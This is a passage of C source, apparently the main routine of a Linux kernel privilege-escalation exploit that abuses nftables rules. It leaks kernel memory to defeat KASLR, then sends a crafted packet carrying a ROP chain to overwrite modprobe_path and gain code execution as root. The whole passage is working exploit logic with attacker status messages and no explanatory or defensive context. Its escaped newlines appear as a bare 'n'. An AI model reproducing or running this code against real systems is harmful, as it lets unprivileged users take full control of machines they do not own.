.prio = 0  };  if (argc > 1) {    shell();  }  if (fork()) {    eop();  }  printf("[*] Initializing...n");  if (setup_sandbox() < 0) {    exit(EXIT_FAILURE);  }  memset(buf, 0x41, sizeof(buf));  system("ip link set dev lo up");  pthread_create( & thread_id, NULL, tcp_server, tcp_handler);  sleep(1);  // Get kernel base  printf("[*] Bypassing KASLR...n");  nftpwn_add_table(NFPROTO_IPV4, "table1", NULL, 0);  nftpwn_add_chain(NFPROTO_IPV4, "table1", "chain1", & base_param);  rule = nftnl_rule_alloc();  nftpwn_rule_add_payload_set(rule, NFT_PAYLOAD_NETWORK_HEADER, 52, 0xf0, 0x3fffffd6);  nftpwn_add_rule(NFPROTO_IPV4, "table1", "chain1", rule);  tcp_send(buf, sizeof(buf));  sleep(3);  if (kernel_base == 0 || (kernel_base & 0xfffff)) {    printf("[-] Failed to get kernel basen");    exit(EXIT_FAILURE);  }  nftpwn_del_chain(NFPROTO_IPV4, "table1", "chain1");  printf("    Kernel base: %pn", kernel_base);  // Code execution  printf("[*] Overwriting modprobe...n");  nftpwn_add_table(NFPROTO_IPV4, "table1", NULL, 0);  nftpwn_add_chain(NFPROTO_IPV4, "table1", "chain1", & base_param);  nftpwn_add_chain(NFPROTO_IPV4, "table1", "chain2", NULL);  rule = nftnl_rule_alloc();  nftpwn_rule_add_meta_get(rule, NFT_META_LEN, NFT_REG32_00);  nftpwn_rule_add_cmp(rule, NFT_CMP_EQ, NFT_REG32_00, & pktlen, sizeof(pktlen));  nftpwn_rule_add_immediate_verdict(rule, NFT_JUMP, "chain2");  nftpwn_add_rule(NFPROTO_IPV4, "table1", "chain1", rule);  rule = nftnl_rule_alloc();  nftpwn_rule_add_payload(rule, NFT_PAYLOAD_NETWORK_HEADER, 52, 0xf0, 0x3fffffd6);  nftpwn_add_rule(NFPROTO_IPV4, "table1", "chain2", rule);  rop((uint64_t * ) buf);  tcp_send(buf, sizeof(buf));  // Should never reach here  return 0;}